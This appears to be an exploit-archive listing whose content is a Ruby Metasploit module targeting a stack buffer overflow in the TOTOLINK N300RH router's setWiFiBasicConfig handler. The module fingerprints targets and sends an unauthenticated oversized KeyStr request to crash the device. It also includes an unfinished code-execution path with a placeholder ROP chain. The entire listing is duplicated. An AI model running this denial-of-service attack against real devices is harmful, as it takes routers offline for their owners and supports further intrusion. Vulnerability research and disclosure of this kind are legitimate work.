Description
This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH router's setWiFiBasicConfig CGI handler. The vulnerability occurs when the KeyStr parameter is copied into a fixed-size stack buffer without proper...
Basic Information
ID
PACKETSTORM:223862
Published
Jun 19, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : TOTOLINK N300RH V6.1c.1390_B20191101 setWiFiBasicConfig KeyStr Stack Buffer Overflow Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/188/ids/36.html |
==================================================================================================================================
[+] Summary : This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH routerβs setWiFiBasicConfig CGI handler.
The vulnerability occurs when the KeyStr parameter is copied into a fixed-size stack buffer without proper bounds checking.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TOTOLINK N300RH setWiFiBasicConfig KeyStr Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in the
TOTOLINK N300RH wireless router. The vulnerability exists in the
`setWiFiBasicConfig` handler within `wireless.so` which copies the user-supplied
`KeyStr` parameter into a fixed-size stack buffer without proper bounds checking.
The vulnerability can be triggered remotely without authentication, leading to
denial of service (process crash) and potentially arbitrary code execution.
Tested successfully on firmware version V6.1c.1390_B20191101.
},
'Author' => ['indoushka'],
'References' => [
[ 'CWE', '121' ],
[ 'URL', 'https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/188/ids/36.html' ],
[ 'URL', 'https://github.com/Unknown/Metasploit-TOTOLINK-N300RH' ]
],
'DisclosureDate' => '2024-01-30',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Actions' => [
['CHECK', { 'Description' => 'Check if target is a TOTOLINK N300RH router' }],
['DOS', { 'Description' => 'Trigger denial of service (process crash)' }],
['EXPLOIT', { 'Description' => 'Attempt arbitrary code execution (ROP chain required)' }]
],
'DefaultAction' => 'DOS',
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN ],
'Reliability' => [ REPEATABLE_SESSION ], # Only for DOS action
'SideEffects' => [ IOC_IN_LOGS, PHYSICAL_DEVICE_REBOOT ]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path to CGI endpoint', '/' ]),
OptInt.new('KEYSTR_LENGTH', [ false, 'Length of KeyStr buffer (for DOS)', 2000 ]),
OptString.new('KEYSTR_PATTERN', [ false, 'Pattern for KeyStr (e.g., A*2000)', 'A' * 2000 ]),
OptBool.new('ENABLE_ROP', [ false, 'Enable ROP chain for code execution', false ])
])
register_advanced_options([
OptInt.new('CRASH_DETECTION_TIMEOUT', [ true, 'Seconds to wait for crash detection', 10 ]),
OptString.new('WIFI_AUTH_MODE', [ true, 'AuthMode parameter', 'OPEN' ]),
OptString.new('WIFI_KEY_TYPE', [ true, 'KeyType parameter', '1' ])
])
end
def check_host(_ip)
print_status("Checking #{peer} for TOTOLINK N300RH fingerprint...")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/')
})
if res.nil?
return Exploit::CheckCode::Unknown('No response from target')
end
totolink_indicators = [
res.body.to_s =~ /TOTOLINK/i,
res.body.to_s =~ /N300RH/i,
res.headers['Server'].to_s =~ /TOTOLINK/i,
res.body.to_s =~ /wr-300n/i,
res.body.to_s =~ /Geon Electronics/i
]
if totolink_indicators.any?
print_status("TOTOLINK detected, attempting vulnerability probe...")
probe_payload = {
'topicurl' => 'setWiFiBasicConfig',
'addEffect' => '0',
'AuthMode' => datastore['WIFI_AUTH_MODE'],
'KeyType' => datastore['WIFI_KEY_TYPE'],
'KeyStr' => 'A' * 64 # Normal WiFi key length (64 hex chars for WPA2)
}
res2 = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => probe_payload.to_json
})
if res2 && res2.code == 200
return Exploit::CheckCode::Appears('Target appears to be TOTOLINK N300RH with vulnerable endpoint accessible')
else
return Exploit::CheckCode::Detected('TOTOLINK detected but vulnerability probe failed')
end
end
Exploit::CheckCode::Safe('Target does not appear to be a TOTOLINK N300RH router')
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
Exploit::CheckCode::Unknown('Could not connect to target')
rescue => e
Exploit::CheckCode::Unknown("Error during check: #{e.message}")
end
end
def build_malicious_payload(crash_only = true)
payload_data = {
'topicurl' => 'setWiFiBasicConfig',
'addEffect' => '0',
'AuthMode' => datastore['WIFI_AUTH_MODE'],
'KeyType' => datastore['WIFI_KEY_TYPE']
}
if crash_only || !datastore['ENABLE_ROP']
if datastore['KEYSTR_PATTERN'] && !datastore['KEYSTR_PATTERN'].empty?
key_str = datastore['KEYSTR_PATTERN']
else
length = datastore['KEYSTR_LENGTH'] || 2000
key_str = 'A' * length
end
vprint_status("Using DOS payload with #{key_str.length} bytes")
else
print_warning("Code execution requires ROP chain for firmware V6.1c.1390_B20191101")
print_warning("This is a placeholder - you need to implement the ROP chain")
rop_chain = generate_mips_rop_chain
padding = 'A' * 1024 # Adjust offset based on reverse engineering
key_str = padding + rop_chain
end
payload_data['KeyStr'] = key_str
payload_data.to_json
end
def generate_mips_rop_chain
print_error("ROP chain not implemented - set ENABLE_ROP false for DOS only")
'A' * 1024
end
def check_for_crash
print_status("Checking if target crashed...")
begin
Timeout.timeout(datastore['CRASH_DETECTION_TIMEOUT']) do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/'),
'timeout' => 5
})
if res.nil?
print_good("Target is not responding - likely crashed")
return true
elsif res.code == 200
print_warning("Target still responding - may not have crashed")
return false
end
end
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
print_good("Connection failed - target likely crashed")
return true
rescue Timeout::Error
print_good("Timeout - target likely crashed")
return true
end
false
end
def dos_exploit
print_status("Preparing malicious request...")
malicious_json = build_malicious_payload(true)
print_status("Sending exploit payload to #{peer}/cgi-bin/cstecgi.cgi")
print_status("KeyStr length: #{datastore['KEYSTR_PATTERN']&.length || datastore['KEYSTR_LENGTH'] || 2000} bytes")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0'
},
'data' => malicious_json
})
if res
print_status("HTTP Response: #{res.code}")
if res.code == 200
print_good("Request accepted - exploit sent successfully")
else
print_warning("Unexpected response code: #{res.code}")
end
else
print_good("No response received - exploit may have triggered immediately")
end
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
print_good("Connection reset - exploit likely triggered")
rescue ::Rex::ConnectionTimeout
print_good("Connection timeout - service may have crashed")
rescue => e
print_error("Error sending exploit: #{e.message}")
return false
end
print_status("Waiting #{datastore['CRASH_DETECTION_TIMEOUT']} seconds for crash...")
sleep(datastore['CRASH_DETECTION_TIMEOUT'])
check_for_crash
end
def code_exec_exploit
print_warning("Code execution not fully implemented")
print_warning("You need to:")
print_warning(" 1. Reverse engineer the exact offset to return address")
print_warning(" 2. Find ROP gadgets in the firmware")
print_warning(" 3. Implement generate_mips_rop_chain method")
print_warning(" 4. Test on actual hardware")
if datastore['FORCE_EXPLOIT']
print_status("FORCE_EXPLOIT enabled, attempting anyway...")
malicious_json = build_malicious_payload(false)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
'data' => malicious_json
})
else
print_error("Set FORCE_EXPLOIT=true to attempt anyway (not recommended)")
end
end
def run_host(_ip)
if datastore['KEYSTR_PATTERN'] && !datastore['KEYSTR_PATTERN'].empty?
print_status("Using custom KeyStr pattern of #{datastore['KEYSTR_PATTERN'].length} bytes")
elsif datastore['KEYSTR_LENGTH'] && datastore['KEYSTR_LENGTH'] > 0
print_status("Using KeyStr length: #{datastore['KEYSTR_LENGTH']} bytes")
elsif datastore['ACTION'] == 'EXPLOIT' && datastore['ENABLE_ROP']
print_status("Preparing ROP chain for code execution")
else
print_status("Using default DOS payload (2000 bytes)")
end
case action.name
when 'CHECK'
result = check_host(nil)
print_status(result.message)
report_note(
host: rhost,
port: rport,
type: 'totolink.n300rh.check_result',
data: result.message
)
return
when 'DOS'
print_status("Starting Denial of Service attack against #{peer}")
crashed = dos_exploit
if crashed
print_good("Successfully crashed target TOTOLINK N300RH!")
print_warning("The device may need to be power-cycled to restore full functionality")
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
name: 'TOTOLINK N300RH setWiFiBasicConfig KeyStr Stack Buffer Overflow',
refs: references,
info: "Device successfully crashed via oversized KeyStr parameter"
)
else
print_error("Target did not crash - vulnerability may be patched or different version")
end
when 'EXPLOIT'
if datastore['ENABLE_ROP']
print_status("Attempting code execution...")
code_exec_exploit
else
print_error("Code execution requires ENABLE_ROP=true and a valid ROP chain")
print_error("Falling back to DOS mode")
dos_exploit
end
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : TOTOLINK N300RH V6.1c.1390_B20191101 setWiFiBasicConfig KeyStr Stack Buffer Overflow Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/188/ids/36.html |
==================================================================================================================================
[+] Summary : This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH routerβs setWiFiBasicConfig CGI handler.
The vulnerability occurs when the KeyStr parameter is copied into a fixed-size stack buffer without proper bounds checking.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TOTOLINK N300RH setWiFiBasicConfig KeyStr Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in the
TOTOLINK N300RH wireless router. The vulnerability exists in the
`setWiFiBasicConfig` handler within `wireless.so` which copies the user-supplied
`KeyStr` parameter into a fixed-size stack buffer without proper bounds checking.
The vulnerability can be triggered remotely without authentication, leading to
denial of service (process crash) and potentially arbitrary code execution.
Tested successfully on firmware version V6.1c.1390_B20191101.
},
'Author' => ['indoushka'],
'References' => [
[ 'CWE', '121' ],
[ 'URL', 'https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/188/ids/36.html' ],
[ 'URL', 'https://github.com/Unknown/Metasploit-TOTOLINK-N300RH' ]
],
'DisclosureDate' => '2024-01-30',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Actions' => [
['CHECK', { 'Description' => 'Check if target is a TOTOLINK N300RH router' }],
['DOS', { 'Description' => 'Trigger denial of service (process crash)' }],
['EXPLOIT', { 'Description' => 'Attempt arbitrary code execution (ROP chain required)' }]
],
'DefaultAction' => 'DOS',
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN ],
'Reliability' => [ REPEATABLE_SESSION ], # Only for DOS action
'SideEffects' => [ IOC_IN_LOGS, PHYSICAL_DEVICE_REBOOT ]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path to CGI endpoint', '/' ]),
OptInt.new('KEYSTR_LENGTH', [ false, 'Length of KeyStr buffer (for DOS)', 2000 ]),
OptString.new('KEYSTR_PATTERN', [ false, 'Pattern for KeyStr (e.g., A*2000)', 'A' * 2000 ]),
OptBool.new('ENABLE_ROP', [ false, 'Enable ROP chain for code execution', false ])
])
register_advanced_options([
OptInt.new('CRASH_DETECTION_TIMEOUT', [ true, 'Seconds to wait for crash detection', 10 ]),
OptString.new('WIFI_AUTH_MODE', [ true, 'AuthMode parameter', 'OPEN' ]),
OptString.new('WIFI_KEY_TYPE', [ true, 'KeyType parameter', '1' ])
])
end
def check_host(_ip)
print_status("Checking #{peer} for TOTOLINK N300RH fingerprint...")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/')
})
if res.nil?
return Exploit::CheckCode::Unknown('No response from target')
end
totolink_indicators = [
res.body.to_s =~ /TOTOLINK/i,
res.body.to_s =~ /N300RH/i,
res.headers['Server'].to_s =~ /TOTOLINK/i,
res.body.to_s =~ /wr-300n/i,
res.body.to_s =~ /Geon Electronics/i
]
if totolink_indicators.any?
print_status("TOTOLINK detected, attempting vulnerability probe...")
probe_payload = {
'topicurl' => 'setWiFiBasicConfig',
'addEffect' => '0',
'AuthMode' => datastore['WIFI_AUTH_MODE'],
'KeyType' => datastore['WIFI_KEY_TYPE'],
'KeyStr' => 'A' * 64 # Normal WiFi key length (64 hex chars for WPA2)
}
res2 = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => probe_payload.to_json
})
if res2 && res2.code == 200
return Exploit::CheckCode::Appears('Target appears to be TOTOLINK N300RH with vulnerable endpoint accessible')
else
return Exploit::CheckCode::Detected('TOTOLINK detected but vulnerability probe failed')
end
end
Exploit::CheckCode::Safe('Target does not appear to be a TOTOLINK N300RH router')
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
Exploit::CheckCode::Unknown('Could not connect to target')
rescue => e
Exploit::CheckCode::Unknown("Error during check: #{e.message}")
end
end
def build_malicious_payload(crash_only = true)
payload_data = {
'topicurl' => 'setWiFiBasicConfig',
'addEffect' => '0',
'AuthMode' => datastore['WIFI_AUTH_MODE'],
'KeyType' => datastore['WIFI_KEY_TYPE']
}
if crash_only || !datastore['ENABLE_ROP']
if datastore['KEYSTR_PATTERN'] && !datastore['KEYSTR_PATTERN'].empty?
key_str = datastore['KEYSTR_PATTERN']
else
length = datastore['KEYSTR_LENGTH'] || 2000
key_str = 'A' * length
end
vprint_status("Using DOS payload with #{key_str.length} bytes")
else
print_warning("Code execution requires ROP chain for firmware V6.1c.1390_B20191101")
print_warning("This is a placeholder - you need to implement the ROP chain")
rop_chain = generate_mips_rop_chain
padding = 'A' * 1024 # Adjust offset based on reverse engineering
key_str = padding + rop_chain
end
payload_data['KeyStr'] = key_str
payload_data.to_json
end
def generate_mips_rop_chain
print_error("ROP chain not implemented - set ENABLE_ROP false for DOS only")
'A' * 1024
end
def check_for_crash
print_status("Checking if target crashed...")
begin
Timeout.timeout(datastore['CRASH_DETECTION_TIMEOUT']) do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/'),
'timeout' => 5
})
if res.nil?
print_good("Target is not responding - likely crashed")
return true
elsif res.code == 200
print_warning("Target still responding - may not have crashed")
return false
end
end
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
print_good("Connection failed - target likely crashed")
return true
rescue Timeout::Error
print_good("Timeout - target likely crashed")
return true
end
false
end
def dos_exploit
print_status("Preparing malicious request...")
malicious_json = build_malicious_payload(true)
print_status("Sending exploit payload to #{peer}/cgi-bin/cstecgi.cgi")
print_status("KeyStr length: #{datastore['KEYSTR_PATTERN']&.length || datastore['KEYSTR_LENGTH'] || 2000} bytes")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0'
},
'data' => malicious_json
})
if res
print_status("HTTP Response: #{res.code}")
if res.code == 200
print_good("Request accepted - exploit sent successfully")
else
print_warning("Unexpected response code: #{res.code}")
end
else
print_good("No response received - exploit may have triggered immediately")
end
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
print_good("Connection reset - exploit likely triggered")
rescue ::Rex::ConnectionTimeout
print_good("Connection timeout - service may have crashed")
rescue => e
print_error("Error sending exploit: #{e.message}")
return false
end
print_status("Waiting #{datastore['CRASH_DETECTION_TIMEOUT']} seconds for crash...")
sleep(datastore['CRASH_DETECTION_TIMEOUT'])
check_for_crash
end
def code_exec_exploit
print_warning("Code execution not fully implemented")
print_warning("You need to:")
print_warning(" 1. Reverse engineer the exact offset to return address")
print_warning(" 2. Find ROP gadgets in the firmware")
print_warning(" 3. Implement generate_mips_rop_chain method")
print_warning(" 4. Test on actual hardware")
if datastore['FORCE_EXPLOIT']
print_status("FORCE_EXPLOIT enabled, attempting anyway...")
malicious_json = build_malicious_payload(false)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
'data' => malicious_json
})
else
print_error("Set FORCE_EXPLOIT=true to attempt anyway (not recommended)")
end
end
def run_host(_ip)
if datastore['KEYSTR_PATTERN'] && !datastore['KEYSTR_PATTERN'].empty?
print_status("Using custom KeyStr pattern of #{datastore['KEYSTR_PATTERN'].length} bytes")
elsif datastore['KEYSTR_LENGTH'] && datastore['KEYSTR_LENGTH'] > 0
print_status("Using KeyStr length: #{datastore['KEYSTR_LENGTH']} bytes")
elsif datastore['ACTION'] == 'EXPLOIT' && datastore['ENABLE_ROP']
print_status("Preparing ROP chain for code execution")
else
print_status("Using default DOS payload (2000 bytes)")
end
case action.name
when 'CHECK'
result = check_host(nil)
print_status(result.message)
report_note(
host: rhost,
port: rport,
type: 'totolink.n300rh.check_result',
data: result.message
)
return
when 'DOS'
print_status("Starting Denial of Service attack against #{peer}")
crashed = dos_exploit
if crashed
print_good("Successfully crashed target TOTOLINK N300RH!")
print_warning("The device may need to be power-cycled to restore full functionality")
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
name: 'TOTOLINK N300RH setWiFiBasicConfig KeyStr Stack Buffer Overflow',
refs: references,
info: "Device successfully crashed via oversized KeyStr parameter"
)
else
print_error("Target did not crash - vulnerability may be patched or different version")
end
when 'EXPLOIT'
if datastore['ENABLE_ROP']
print_status("Attempting code execution...")
code_exec_exploit
else
print_error("Code execution requires ENABLE_ROP=true and a valid ROP chain")
print_error("Falling back to DOS mode")
dos_exploit
end
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================